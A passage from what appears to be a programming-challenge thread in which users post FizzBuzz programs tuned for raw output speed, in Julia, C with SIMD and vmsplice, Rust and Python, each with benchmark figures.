io::Base.PipeEndpoint, args...; kwds...) = f(Base._fd(io), args...; kwds...) withpipefd(f, io::Base.IOContext, args...; kwds...) = withpipefd(f, io.io, args...; kwds...) withpipefd(f, io, args...; kwds...) = begin process = open(pipeline(`cat`, stdout=io), write=true) withpipefd(f, process.in, args...; kwds...) close(process) end """ vmsplice(fdesc, buffer) Splice the data in `buffer` to the pipe in `fdesc`. """ vmsplice(fdesc::RawFD, buffer::StaticBuffer) = begin ptr = pointer(buffer.buf) while ptr < buffer.ptr written = @ccall vmsplice( fdesc :: Cint, (ptr, buffer.ptr - ptr) :: Ref{Tuple{Ref{UInt8}, Csize_t}}, 1 :: Csize_t, 0 :: Cuint) :: Cssize_t if written < 0 error("Couldn't write to pipe") end ptr += written end end """ asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) Move asciidigits and intdigits to the next line, i.e. add 1 to the ascii and decimal representations. """ @inline nextline(asciidigits, intdigits, plusone) = begin asciidigits += plusone intdigits = Base.setindex(intdigits, intdigits[1] + 1, 1) asciidigits, intdigits end const CARRY = ShortString("20") - ShortString("1:") """ asciidigits, plusone, pluscarry = carry(position, asciidigits, plusone, pluscarry) Perform a carry operation on asciidigits in the `position`th decimal place. """ @inline carry(position, asciidigits, plusone, pluscarry) = begin if position + 1 == length(asciidigits) asciidigits = concat(asciidigits, '0') plusone <<= 8 pluscarry = pluscarry .<< 8 pluscarry = Base.setindex(pluscarry, CARRY, position) end asciidigits += pluscarry[position] asciidigits, plusone, pluscarry end """ @compiletime for a in b <statements> end Unroll the loop. """ macro compiletime(forloop) @assert forloop.head == :for it, body = forloop.args @assert it.head == :(=) lhs, rhs = it.args expressions = gensym(:expressions) body = quote push!($expressions, $(Expr(:quote, body))) end expressions = Core.eval(__module__, quote let $expressions = [] for $lhs in $rhs $body end $expressions end end) return esc(quote $(expressions...) end) end """ asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry) If necessary, perform a carry operation on asciidigits and intdigits. """ @inline maybecarry(asciidigits, intdigits, plusone, pluscarry) = begin asciidigits += plusone @compiletime for d in 1:16 intdigits = Base.setindex(intdigits, intdigits[$d] + 1, $d) intdigits[$d] != 10 && @goto carried intdigits = Base.setindex(intdigits, 0, $d) asciidigits, plusone, pluscarry = carry($d, asciidigits, plusone, pluscarry) end intdigits = Base.setindex(intdigits, intdigits[17] + 1, 17) intdigits[17] >= 10 && error("too big!") @label carried asciidigits, intdigits, plusone, pluscarry end const FIZZ = ShortString("Fizz\n") const BUZZ = ShortString("Buzz\n") const FIZZBUZZ = ShortString("FizzBuzz\n") initialstate() = ( intdigits = (1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), asciidigits = ShortString("1\n"), plusone = UInt128(1), pluscarry = ntuple(_ -> zero(UInt128), Val(sizeof(UInt128))) ) fizzbuzz(buffer::StaticBuffer, state) = begin (;intdigits, asciidigits, plusone, pluscarry) = state while !almostfull(buffer) buffer = put(buffer, asciidigits) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, FIZZ) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry) buffer = put(buffer, BUZZ) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, FIZZ) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, FIZZ) asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry) buffer = put(buffer, BUZZ) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, FIZZ) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) buffer = put(buffer, asciidigits) asciidigits, intdigits, plusone, pluscarry = maybecarry(asciidigits, intdigits, plusone, pluscarry) buffer = put(buffer, FIZZBUZZ) asciidigits, intdigits = nextline(asciidigits, intdigits, plusone) end buffer, (;intdigits,asciidigits,plusone,pluscarry) end fizzbuzz(fdesc::RawFD, cutoff=typemax(Int)) = begin pipesize = @ccall fcntl(fdesc::Cint, 1031::Cint, BUFSIZE::Cint)::Cint @assert pipesize == BUFSIZE buf1, buf2 = StaticBuffer(BUFSIZE), StaticBuffer(BUFSIZE) state = initialstate() n = 0 @GC.preserve buf1 buf2 while n <= cutoff buf1, state = fizzbuzz(truncate(buf1), state) vmsplice(fdesc, buf1) n += length(buf1) buf2, state = fizzbuzz(truncate(buf2), state) vmsplice(fdesc, buf2) n += length(buf2) end end """ fizzbuzz(io::IO, cutoff=typemax(Int)) Write the fizzbuzz output to `io`. The `cutoff` parameter is approximate; depending on buffering, more bytes may be written to `io`. """ fizzbuzz(io::IO, cutoff=typemax(Int)) = withpipefd(fizzbuzz, io, cutoff) if abspath(PROGRAM_FILE) == @__FILE__ fizzbuzz(stdout) end ``` [Answer] ## Python3 Interesting problem. I see most answers used static languages, except the Powershell answer, so far untimed. As I was curious about how dynamic languages would fare in this task, I wrote a simple implementation in Python. I ran it under GNU/Linux Mint 20.02 64-bit, using default Python3 (3.8.10) and pypy (7.3.1) in the repositories. Processor model in my machine: AMD Athlon(tm) X4 750 Quad Core. ## Initial version The initial version just keeps a carousel running in sync to a counter, where the carousel carries either False or the results different from the current count, in the proper positions. The derailleur function selects what is to be printed. ``` from itertools import cycle, count def derailleur(counter, carousel): if not carousel: return counter return carousel def main(): carousel = cycle([0,0,'Fizz',0,'Buzz','Fizz',0,0,'Fizz','Buzz',0,'Fizz',0,0,'FizzBuzz']) counter = count(1) f = map(print, map(derailleur, counter, carousel)) while 1: next(f) main() ``` In my machine it ran at about 14,2MiB/s under CPython, and got a modest boost up to 25,0MiB/s under pypy: ``` user@Desktop:~$ python3 fizzbuzz.py | pv > /dev/null ^C21MiB 0:00:30 [14,2MiB/s] [ <=> ] Traceback (most recent call last): File "fizzbuzz.py", line 15, in <module> main() File "fizzbuzz.py", line 13, in main next(f) File "fizzbuzz.py", line 3, in derailleur def derailleur(counter, carousel): KeyboardInterrupt Exception ignored in: <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'> BrokenPipeError: [Errno 32] Broken pipe user@Desktop:~$ pypy3 fizzbuzz.py | pv > /dev/null ^C57MiB 0:00:30 [25,0MiB/s] [ <=> ] Traceback (most recent call last): File "fizzbuzz.py", line 15, in <module> main() File "fizzbuzz.py", line 13, in main next(f) KeyboardInterrupt ``` ## Chunking version Afterwards I modified the initial version to print the results in chunks, instead of one by one. ``` from itertools import cycle, count def derailleur(counter, carousel): if not carousel: return counter return carousel def main(): carousel = cycle([0,0,'Fizz',0,'Buzz','Fizz',0,0,'Fizz','Buzz',0,'Fizz',0,0,'FizzBuzz']) counter = map(str, count(1)) f = map(derailleur, counter, carousel) while 1: print('\n'.join([next(f) for _ in range(256)])) main() ``` Now under CPython it runs a bit faster, at about 19,6MiB/s. But under pypy it receives a large boost, achieving 84,9MiB/s, within half the speed of the naive implementation written in C reported by the OP (170MiB/s): ``` user@Desktop:~$ python3 chunking_fizzbuzz.py | pv > /dev/null ^C84MiB 0:00:30 [19,6MiB/s] [ <=> ] Traceback (most recent call last): File "chunking_fizzbuzz.py", line 15, in <module> main() File "chunking_fizzbuzz.py", line 13, in main print('\n'.join([next(f) for _ in range(256)])) KeyboardInterrupt user@Desktop:~$ pypy3 chunking_fizzbuzz.py | pv > /dev/null ^C49GiB 0:00:30 [84,9MiB/s] [ <=> ] Traceback (most recent call last): File "chunking_fizzbuzz.py", line 15, in <module> main() File "chunking_fizzbuzz.py", line 13, in main print('\n'.join([next(f) for _ in range(256)])) File "chunking_fizzbuzz.py", line 13, in <listcomp> print('\n'.join([next(f) for _ in range(256)])) KeyboardInterrupt ``` I'm curious to see how much this result can be improved upon, for Python, and how other dynamic languages perform. [Answer] ### Update A minor change to remove a branch, and some code cleanup, ~~about 10% speedup on my machine~~. Because the SysV calling convention sets all `xmm` registers as clobbers across function calls, and this includes a call to the `vmsplice` wrapper function, I had to make a manual `syscall` to `vmsplice` with inline assembly to tell the compiler that there are no `xmm` clobbers, so that the compiler can preload more values in `xmm` registers. This was the main source of speedup. Let me know if there's a better way. The inline assembly part is now commented out because Omer (who opened the challenge) thinks inline assembly makes the code no longer pure C. It's best for me to compete with C entries. --- This program will run faster than any other C or C++ entry, at least twice the speed. It is also noticeably faster than the last edit which was a bit buggy (blame `vmplice`). `gcc` as a compiler and SSE4.1 is a requirement. There are two main optimizations that make this program run fast. First, the digits are stored in a single XMM register with 128-bits, and since each character consumes 8-bits, one register can hold maximum 16 digits, which is more than enough. All operations to digits are done with one or several SIMD instructions, and the data always stays in a register before it gets copied to the buffer. The `PSHUFB` instruction or `_mm_shuffle_epi8` is the main source of speedup. It does the otherwise complicated byte reversal and shifting all bytes to one direction, in a single instruction. Both happen in the `writeDigits` function. Second is `vmsplice`. I do not like the person who wrote this Linux-specific system call and probably the same person who wrote the documentation very badly. All would've been simple if such poorly-documented and unpredictable syscall didn't exist at all. I was really forced to use it because the speedup it could provide was too big. If you ever consider using this syscall, the following notes may help. * The safest and probably intended use of `vmplice` is the sequence of `mmap` -> `vmplice` with `SPLICE_F_GIFT` -> `munmap`. You can call `munmap` directly after `vmsplice` retruns. This works in a similar way to asynchronous IO, and is very efficient in that sense. However since you are `mmap`ing a new buffer every time, the buffer will unlikely be in cache. * If you overwrite the buffer after a call to `vmsplice`, things can get very unpredictable. Whether `SPLICE_F_GIFT` is set or not doesn't make a difference, and I'm not even sure whether that flag does a thing at all. That `vmsplice` has returned does not mean that the pipe has consumed all of the buffer. That's why I said it is similar to asynchronous IO. It is not documented at all when it is safe to overwrite the buffer after `vmsplice` has returned. All I can say is it is somehow predictable when, 1. `vmsplice` is always called with the same buffer size. 2. The pipe size matches the buffer size. 3. The *same thread* writes to the buffer and calls `vmsplice`. 4. The buffer is not overwritten *too fast*... and I don't know how much is *too fast*, but for example if you overwrite the buffer right after `vmsplice` returns, things get unpredictable. Compile the program with `gcc -s -O3 -msse4.1 -fwhole-program`. ``` #define _GNU_SOURCE #include <stdlib.h> #include <stdint.h> #include <stdalign.h> #include <string.h> #include <fcntl.h> #include <smmintrin.h> static const __m128i shiftMask[] = { {0x0706050403020100, 0x0f0e0d0c0b0a0908}, {0x0807060504030201, 0xff0f0e0d0c0b0a09}, {0x0908070605040302, 0xffff0f0e0d0c0b0a}, {0x0a09080706050403, 0xffffff0f0e0d0c0b}, {0x0b0a090807060504, 0xffffffff0f0e0d0c}, {0x0c0b0a0908070605, 0xffffffffff0f0e0d}, {0x0d0c0b0a09080706, 0xffffffffffff0f0e}, {0x0e0d0c0b0a090807, 0xffffffffffffff0f}, {0x0f0e0d0c0b0a0908, 0xffffffffffffffff}, {0xff0f0e0d0c0b0a09, 0xffffffffffffffff}, {0xffff0f0e0d0c0b0a, 0xffffffffffffffff}, {0xffffff0f0e0d0c0b, 0xffffffffffffffff}, {0xffffffff0f0e0d0c, 0xffffffffffffffff}, {0xffffffffff0f0e0d, 0xffffffffffffffff}, {0xffffffffffff0f0e, 0xffffffffffffffff}, {0xffffffffffffff0f, 0xffffffffffffffff} }; static __m128i inc(__m128i d) { return _mm_sub_epi64(d, _mm_set_epi64x(0, -1)); } static __m128i carry(__m128i d) { d = _mm_sub_epi64(d, _mm_bslli_si128(_mm_cmpeq_epi64(d, _mm_setzero_si128()), 8)); return _mm_or_si128(d, _mm_and_si128(_mm_cmpeq_epi8(d, _mm_setzero_si128()), _mm_set1_epi8(0xf6))); } static int writeDigits(char *b, __m128i d, int i) { _mm_storeu_si128((__m128i *)b, _mm_shuffle_epi8( _mm_shuffle_epi8(_mm_sub_epi64(d, _mm_set1_epi8(0xc6)), _mm_set_epi8(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)), shiftMask[i])); b[16 - i] = '\n'; return 17 - i; } static int writeFizz(void *b) { memcpy(b, &(int64_t){0x0a7a7a6946}, 8); return 5; } static int writeFizzBuzz(void *b) { memcpy(b, &(int64_t){0x7a7a75427a7a6946}, 8); ((char *)b)[8] = '\n'; return 9; } static int writeFizzAndBuzz(void *b) { memcpy(b, &(int64_t){0x7a75420a7a7a6946}, 8); memcpy(b + 8, &(int16_t){0x0a7a}, 2); return 10; } static int writeBuzzAndFizz(void *b) { memcpy(b, &(int64_t){0x7a69460a7a7a7542}, 8); memcpy(b + 8, &(int16_t){0x0a7a}, 2); return 10; } static void memcpy_simple(void *d, void *s, int n) { int i = 0; do { _mm_store_si128((void *)((char *)d + i), _mm_load_si128((void *)((char *)s + i))); } while ((i += 16) < n); } #define ALIGN 0x1000 #define SIZE (ALIGN << 8) #define I d = inc(d) #define IC d = carry(inc(d)) #define D I; p += writeDigits(p, d, i) #define F I; p += writeFizz(p) #define FB I; p += writeFizzBuzz(p) #define FNB I; I; p += writeFizzAndBuzz(p) #define BNF I; I; p += writeBuzzAndFizz(p) int main() { if (fcntl(1, F_SETPIPE_SZ, SIZE) != SIZE) { abort(); } alignas(ALIGN) char b[2][SIZE + ALIGN]; int f = 0; char *p = b[f]; __m128i d = _mm_set1_epi8(0xf6); int i = 15; for (int64_t j = 10, k = 10;; j += 30) { D; D; F; D; BNF; D; D; I; IC; p += writeFizzAndBuzz(p); if (j == k) { k *= 10; --i; } D; F; D; D; FB; D; D; F; D; IC; p += writeBuzzAndFizz(p); I; D; D; FNB; D; F; D; D; IC; p += writeFizzBuzz(p); int n = p - b[f] - SIZE; if (n >= 0) { struct iovec v = {b[f], SIZE}; do { /*register long rax __asm__ ("rax") = 278; register long rdi __asm__ ("rdi") = 1; register long rsi __asm__ ("rsi") = (long)&v; register long rdx __asm__ ("rdx") = 1; register long r10 __asm__ ("r10") = 0; __asm__ ("syscall" : "+r"(rax) : "r"(rdi), "r"(rsi), "r"(rdx), "r"(r10) : "rcx", "r11");*/ long rax = vmsplice(1, &v, 1, 0); if (rax < 0) { abort(); } v.iov_base = (char *)v.iov_base + rax; v.iov_len -= rax; } while (v.iov_len); f = !f; memcpy_simple(b[f], b[!f] + SIZE, n); p = b[f] + n; } } return 0; } ``` [Answer] My code works on Windows 10. It outputs 8-9 GiB/s when the CPU is cool enough. I used the following ideas in my code: * Filling a buffer 256 KiB and sending it to output; for smaller buffer size the performance suffers; bigger buffer sometimes improves performance, but never by much. * For numbers which have the same number of digits, it works in chunks of 15 output lines. These chunks have identical length. While the size of the output buffer is big enough, it copies the previous chunk and adds 15 to the ASCII representation of all the numbers in it. * Near the end of the buffer and for first chunk, it calculates the output messages explicitly. Also, if numbers in the chunk have different length (e.g. 9999 and 10000). * It uses OpenMP to calculate 4 chunks simultaneously. I set `NUM_THREADS` to 4 (best on my computer, which has 8 logical cores); a larger setting might be better. When I want to verify the output, I set `check_file = 1` in code; if `check_file = 0`, it writes to `NUL`, which is the null output device on Windows. ``` #include <stdlib.h> #include <stdio.h> #include <math.h> #include <inttypes.h> #include <assert.h> #include "windows.h" #include "fileapi.h" #include "process.h" int size_15(int num_digits) // size of 15 messages, where numbers have a given number of digits { return 8 * num_digits + 47; } int num_of_digits(int64_t counter) // number of digits { int result = 1; if (counter >= 100000000) { counter /= 100000000; result += 8; } if (counter >= 10000) { counter /= 10000; result += 4; } if (counter >= 100) { counter /= 100; result += 2; } if (counter >= 10) return result + 1; else return result; } void print_num(char* buf, int64_t counter, int num_digits) { for (int i = 0; i < num_digits; ++i) { buf[num_digits - 1 - i] = counter % 10 + '0'; counter /= 10; } } void add_15_to_decimal_num(char* p, int num_digits) { char digit = p[num_digits - 1] + 5; int c = (digit > '9'); p[num_digits - 1] = (char)(digit - c * 10); c += 1; for (int i = 1; i < num_digits; ++i) { if (c == 0) break; digit = (char)(p[num_digits - 1 - i] + c); c = digit > '9'; p[num_digits - 1 - i] = (char)(digit - c * 10); } } uint64_t fill_general(char* buf, int size, uint64_t counter, int* excess) { char* p = buf; while (p < buf + size) { int fizz = counter % 3 == 0; int buzz = counter % 5 == 0; if (fizz && buzz) { memcpy(p, "FizzBuzz\n", 9); p += 9; } else if (fizz) { memcpy(p, "Fizz\n", 5); p += 5; } else if (buzz) { memcpy(p, "Buzz\n", 5); p += 5; } else { int num_digits = num_of_digits(counter); print_num(p, counter, num_digits); p[num_digits] = '\n'; p += num_digits + 1; } ++counter; } *excess = (int)(p - (buf + size)); return counter; } void fill15(char* buf, int64_t counter, int num_digits, int num_ofs[8]) { char* p = buf; int m15 = counter % 15; for (int i = m15; i < m15 + 15; ++i) { if (i % 15 == 0) { memcpy(p, "FizzBuzz\n", 9); p += 9; } else if (i % 3 == 0) { memcpy(p, "Fizz\n", 5); p += 5; } else if (i % 5 == 0) { memcpy(p, "Buzz\n", 5); p += 5; } else { *num_ofs++ = (int)(p - buf); print_num(p, counter + i - m15, num_digits); p += num_digits; *p++ = '\n'; } } } // memcpy replacement; works only for sizes equal to 47 + 8 * n, for small n void copy_47_8n(char* src, unsigned size) { char* dst = src + size; memcpy(dst, src, 47); size -= 47; dst += 47; src += 47; if (size >= 128) exit(1); if (size >= 96) memcpy(dst + 64, src + 64, 32); if (size >= 64) memcpy(dst + 32, src + 32, 32); if (size >= 32) memcpy(dst + 0, src + 0, 32); dst += size / 32 * 32; src += size / 32 * 32; size %= 32; if (size >= 24) memcpy(dst + 16, src + 16, 8); if (size >= 16) memcpy(dst + 8, src + 8, 8); if (size >= 8) memcpy(dst + 0, src + 0, 8); } #define NUM_THREADS 4 uint64_t fill_fast(char* buf, int size, uint64_t counter, int* excess) { const int num_digits = num_of_digits(counter); const int chunk_size = 8 * num_digits + 47; const int num_iter = size / chunk_size; int thread; #pragma omp parallel for for (thread = 0; thread < NUM_THREADS; ++thread) { const int begin_iter = num_iter * thread / NUM_THREADS; const int thread_num_iter = num_iter * (thread + 1) / NUM_THREADS - begin_iter; char* output = buf + begin_iter * chunk_size; int num_ofs[8]; fill15(output, counter + begin_iter, num_digits, num_ofs); for (int iter = 1; iter < thread_num_iter; ++iter) { copy_47_8n(output, chunk_size); for (int i = 0; i < 8; ++i) add_15_to_decimal_num(output + chunk_size + num_ofs[i], num_digits); output += chunk_size; } } buf += num_iter * chunk_size; size -= num_iter * chunk_size; counter += num_iter * 15; return fill_general(buf, size, counter, excess); } uint64_t fill(char* buf, int size, uint64_t counter, int* excess) { int num_digits = num_of_digits(counter); int64_t max_next_counter = counter + size / (8 * num_digits + 47) * 15 + 15; int max_next_num_digits = num_of_digits(max_next_counter); if (num_digits == max_next_num_digits) return fill_fast(buf, size, counter, excess); else return fill_general(buf, size, counter, excess); } void file_io(void) { int check_file = 0; HANDLE f = CreateFileA(check_file ? "my.txt" : "NUL", GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); DWORD e = GetLastError(); LARGE_INTEGER frequency; QueryPerformanceFrequency(&frequency); DWORD read; int bufsize = 1 << 18; long long statsize = 1ll << 34; char* buf = malloc(bufsize); uint64_t counter = 1; int excess = 0; while (counter < 9999999900000000) { LARGE_INTEGER start, stop; QueryPerformanceCounter(&start); for (int i = 0; i < statsize / bufsize; ++i) { memcpy(buf, buf + bufsize, excess); counter = fill(buf + excess, bufsize - excess, counter, &excess); e = WriteFile(f, buf, bufsize, &read, 0); if (check_file) FlushFileBuffers(f); if (e == 0 || (int)read != bufsize) { e = GetLastError(); exit(1); } } QueryPerformanceCounter(&stop); double time = (double)(stop.QuadPart - start.QuadPart) / frequency.QuadPart; printf("Throughput (GB/s): %f\n", statsize / (1 << 30) / time); } CloseHandle(f); exit(0); } int main() { file_io(); } ``` [Answer] My solution maintains a buffer with a batch of lines (6000 lines worked best on my system), and updates all the numbers in the buffer in a parallelisable loop. We use an auxiliary array `nl[]` to keep track of where each newline lies, so we have random access to all the numbers. The addition is all in-place decimal character-by-character arithmetic, with no arithmetic division after the buffer is initialised (I could have created the buffer without division, too, but opted for shorter, readable code!). Every so often, when the number of digits rolls over, we have to stop and re-position all the numbers within the buffer (that's what the `shuffle` counter is for), and update the corresponding entries in `nl[]`; this happens more and more infrequently as we proceed. I compiled using `gcc -std=gnu17 -Wall -Wextra -fopenmp -O3 -march=native`, and ran with `OMP_NUM_THREADS=3` set in the environment (a different number of threads may be optimal on another host). ``` #include <stdatomic.h> #include <stdio.h> /* sprintf */ #include <string.h> /* memset */ #include <unistd.h> /* This is the single tunable you need to adjust for your platform */ #define chunk 6000 /* must be multiple of 3*5, with only one nonzero digit */ /* i.e. 3, 6 or 9 times an exact power of ten */ /* Select a number of digits to use. If we produce one billion numbers per second, then we'll finish all the 18-digit numbers in just 30 years. 24 digits should suffice until next geological epoch, at least. */ #define numlen 25 /* 24 decimal digits plus newline */ #define STR_(x) #x #define STR(x) STR_(x) #define chunk_str STR(chunk) #define unlikely(e) __builtin_expect((e), 0) char format[chunk * numlen]; char *nl[chunk+1]; int main() { /* Create the format string. */ /* We do this twice, as the numbers written first time round are too short for the addition. */ for (int j = 0, n = 1; j < 2; ++j) { nl[0] = format; char *p = format; for (int i = 0; i <= chunk; ++i, ++n) { if ((n % 15) == 0) { p += sprintf(p, "FizzBuzz\n"); } else if ((n % 5) == 0) { p += sprintf(p, "Buzz\n"); } else if ((n % 3) == 0) { p += sprintf(p, "Fizz\n"); } else { p += sprintf(p, "%d\n", n); } nl[i] = p; } write(1, format, nl[chunk] - format); } atomic_int shuffle = 0; for (;;) { #pragma omp parallel for schedule(static) for (int i = 0; i < chunk; ++i) { if (nl[i+1][-2] == 'z') { /* fizz and/or buzz - not a number */ continue; } /* else add 'chunk' to the number */ static const int units_offset = sizeof chunk_str; static const int digit = chunk_str[0] - '0'; char *p = nl[i+1] - units_offset; *p += digit; while (*p > '9') { *p-- -= 10; ++*p; } if (unlikely(p < nl[i])) { /* digit rollover */ ++shuffle; } } if (unlikely(shuffle)) { /* add a leading one to each overflowing number */ char **nlp = nl + chunk; char *p = *nlp; char *dest = p + shuffle; while (p < dest) { if (*p == '\n') { *nlp-- = dest + 1; } else if (*p == '\n'+1) { --*p; *dest-- = '1'; *nlp-- = dest + 1; } *dest-- = *p--; } shuffle = 0; } write(1, format, nl[chunk] - format); } } ``` [Answer] # Trivial Rust This one is just plain Rust without any tricks (no `unsafe`, no `vmsplice()`, no assembly), just a light loop unrolling. ~~It manages to reach 6GiB/s on my laptop (XPS 15 i9)~~ (it's wrong, see in comments), I'm curious to know how much it does on the reference hardware. Compile with `cargo build --release`, run with `./target/release/fizzbuzz | pv >/dev/null` ``` use std::error::Error; use std::fmt::Write; use std::io::Write as OtherWrite; const LEN: usize = 1000000000; fn main() -> Result<(), Box<dyn Error>> { let stdout = std::io::stdout(); let mut stdout = std::io::BufWriter::new(stdout.lock()); let mut buffer = String::new(); buffer.reserve(80); let mut n = 0usize; while n < LEN { write!( &mut buffer, r#"{} {} Fizz {} Buzz Fizz {} {} Fizz Buzz {} Fizz {} {} FizzBuzz "#, n + 1, n + 2, n + 4, n + 7, n + 8, n + 11, n + 13, n + 14 )?; stdout.write_all(buffer.as_bytes())?; n += 15; buffer.clear(); // forgot that ... } Ok(()) } ``` [Answer] ## Python ## with numba (original) ``` import numpy as np from numba import njit @njit def get_arr(i,j): a = np.arange(i,j) return a[np.bitwise_and(a%5 != 0, a%3 != 0)] def fizzbuzzv3(chunk,length): string = "" for i in range(1,chunk+1): if i%15 == 0: string += "FizzBuzz" elif i%3 == 0: string += "Fizz" elif i%5 == 0: string += "Buzz" else: string += "{}" string += "\n" string = string[:-2] for i in range(1,length,chunk): print(string.format(*get_arr(i,i+chunk))) fizzbuzzv3(6000,int(1e100)) ``` Tested on Google Colaboratory with int(1e9) instead of int(1e100) for practical reasons and got 38.3MiB/s. ``` !python3 test.py | pv > /dev/null 7.33GiB 0:03:16 [38.3MiB/s] [ <=> ] ``` ## Faster version with os.write, % string formatting and removed numba ``` import numpy as np import os def fizzbuzz(chunk,length): string_arr = np.empty(chunk).astype('<U8') string_arr[:] = '%d' string_arr[::3] = 'Fizz' string_arr[::5] = 'Buzz' string_arr[::15] = 'FizzBuzz' string = '\n'.join(string_arr) + '\n' offset_arr = np.arange(chunk) offset_arr = (offset_arr%5 != 0)&(offset_arr%3 != 0) offset_arr = np.where(offset_arr)[0] for i in range(0,length,chunk): to_output = string%tuple(offset_arr.tolist()) os.write(1,to_output.encode()) offset_arr += chunk fizzbuzz(8100,int(1e100)) ``` Google Colaboratory with int(1e9) - 125MiB/s ``` !python3 test.py | pv > /dev/null 7.33GiB 0:00:59 [ 125MiB/s] [ <=> ] ``` ## Pure python, no imports ``` def fizzbuzz(chunk,length): fb_string = "" for i in range(0,chunk): if i%15 == 0: fb_string += "FizzBuzz" elif i%3 == 0: fb_string += "Fizz" elif i%5 == 0: fb_string += "Buzz" else: fb_string += "%i" fb_string += "\n" offset_tuple = tuple(i for i in range(chunk) if i%3 != 0 and i%5 != 0) for i in range(0,length,chunk): print(fb_string % offset_tuple, end='') offset_tuple = tuple(i + chunk for i in offset_tuple) fizzbuzz(6000,int(1e100)) ``` Google Colaboratory with int(1e9) - 87.5MiB/s ``` !python3 test.py | pv > /dev/null 7.33GiB 0:01:25 [87.5MiB/s] [ <=> ] ``` ## Multiprocessing + numpy Version requires python 3.9 and uses shared memory objects to get output from return\_string() on as many cores as possible. ``` import numpy as np from os import write from multiprocessing import shared_memory from multiprocessing import Pool def return_string(stringmemory_name,arraymemory_name,offset_arr_shape,offset): #recover string from shared bytes stringmemory = shared_memory.SharedMemory(name=stringmemory_name) fb_string = bytes(stringmemory.buf).decode() stringmemory.close() #recover numpy array from shared bytes arraymemory = shared_memory.SharedMemory(name=arraymemory_name) offset_arr = np.ndarray(offset_arr_shape, dtype=np.int64, buffer=arraymemory.buf) + offset arraymemory.close() #Get output to_output = fb_string % tuple(offset_arr.tolist()) #Return encoded return to_output.encode() def fizzbuzz(chunk,length,number_processes): #Make the string. Uses numpy arrays because it's easy string_arr = np.empty(chunk).astype('<U8') string_arr[:] = '%d' string_arr[::3] = 'Fizz' string_arr[::5] = 'Buzz' string_arr[::15] = 'FizzBuzz' fb_string = '\n'.join(string_arr.tolist()) + '\n' #Convert string to bytes and put it into shared memory fb_string = fb_string.encode() stringmemory = shared_memory.SharedMemory(create=True, size=len(fb_string)) stringmemory.buf[:len(fb_string)] = fb_string #Make the offset array offset_arr = np.arange(chunk) offset_arr = (offset_arr%5 != 0)&(offset_arr%3 != 0) offset_arr = np.where(offset_arr)[0] #Put array into shared memory arraymemory = shared_memory.SharedMemory(create=True, size=offset_arr.nbytes) temp = np.ndarray(offset_arr.shape, dtype=offset_arr.dtype, buffer=arraymemory.buf) temp[:] = offset_arr[:] #Go over chunks with Pool(processes=number_processes) as pool: running_list = [] for i in range(0,length,chunk): #Do not exceed number_processes if len(running_list) >= number_processes: running_list[0].wait() #Call a new function async_instance = pool.apply_async(return_string, \ (stringmemory.name,arraymemory.name,offset_arr.shape,i)) running_list.append(async_instance) #output if running_list[0].ready(): write(1,running_list[0].get()) del running_list[0] while len(running_list) != 0: running_list[0].wait() if running_list[0].ready(): write(1,running_list[0].get()) del running_list[0] stringmemory.close() stringmemory.unlink() arraymemory.close() arraymemory.unlink() fizzbuzz(750000,int(1e100),32) ``` Google collab with fizzbuzz(750000,int(1e9),8) was only 77.7 MiB/s but that only has 2 cores. On a 16C/32T cpu I think it should do much better. If it isn't too much trouble, please try out different values for for the chunk size (first argument - 750000) and number of processes (last argument - 32) ``` !python3 test.py | pv > /dev/null 7.34GiB 0:01:36 [77.7MiB/s] [ <=> ] ``` ## Multicore, numpy and improvised locks ``` import numpy as np from os import write from multiprocessing import shared_memory from multiprocessing import Pool def return_string(stringmemory_name,arraymemory_name,offset_arr_shape,offset,process_id,lock_name): #recover string from shared bytes stringmemory = shared_memory.SharedMemory(name=stringmemory_name) fb_string = bytes(stringmemory.buf).decode() stringmemory.close() #recover numpy array from shared bytes arraymemory = shared_memory.SharedMemory(name=arraymemory_name) offset_arr = np.ndarray(offset_arr_shape, dtype=np.int64, buffer=arraymemory.buf) + offset arraymemory.close() #Get output to_output = fb_string % tuple(offset_arr.tolist()) to_output = to_output.encode() #lock lock = shared_memory.SharedMemory(name=lock_name) while lock.buf[0:] != process_id: pass lock.close() write(1,to_output) return int(process_id.decode()) + 1 def fizzbuzz(chunk,length,number_processes): #Make the string. Uses numpy arrays because it's easy string_arr = np.empty(chunk).astype('<U8') string_arr[:] = '%d' string_arr[::3] = 'Fizz' string_arr[::5] = 'Buzz' string_arr[::15] = 'FizzBuzz' fb_string = '\n'.join(string_arr.tolist()) + '\n' #Convert string to bytes and put it into shared memory fb_string = fb_string.encode() stringmemory = shared_memory.SharedMemory(create=True, size=len(fb_string)) stringmemory.buf[:len(fb_string)] = fb_string #Make the offset array offset_arr = np.arange(chunk) offset_arr = (offset_arr%5 != 0)&(offset_arr%3 != 0) offset_arr = np.where(offset_arr)[0] #Put array into shared memory arraymemory = shared_memory.SharedMemory(create=True, size=offset_arr.nbytes) temp = np.ndarray(offset_arr.shape, dtype=offset_arr.dtype, buffer=arraymemory.buf) temp[:] = offset_arr[:] #Improvised Lock lock = shared_memory.SharedMemory(create=True, size=1) lock.buf[0:] = '0'.encode() #Go over chunks with Pool(processes=number_processes) as pool: running_list = [] for 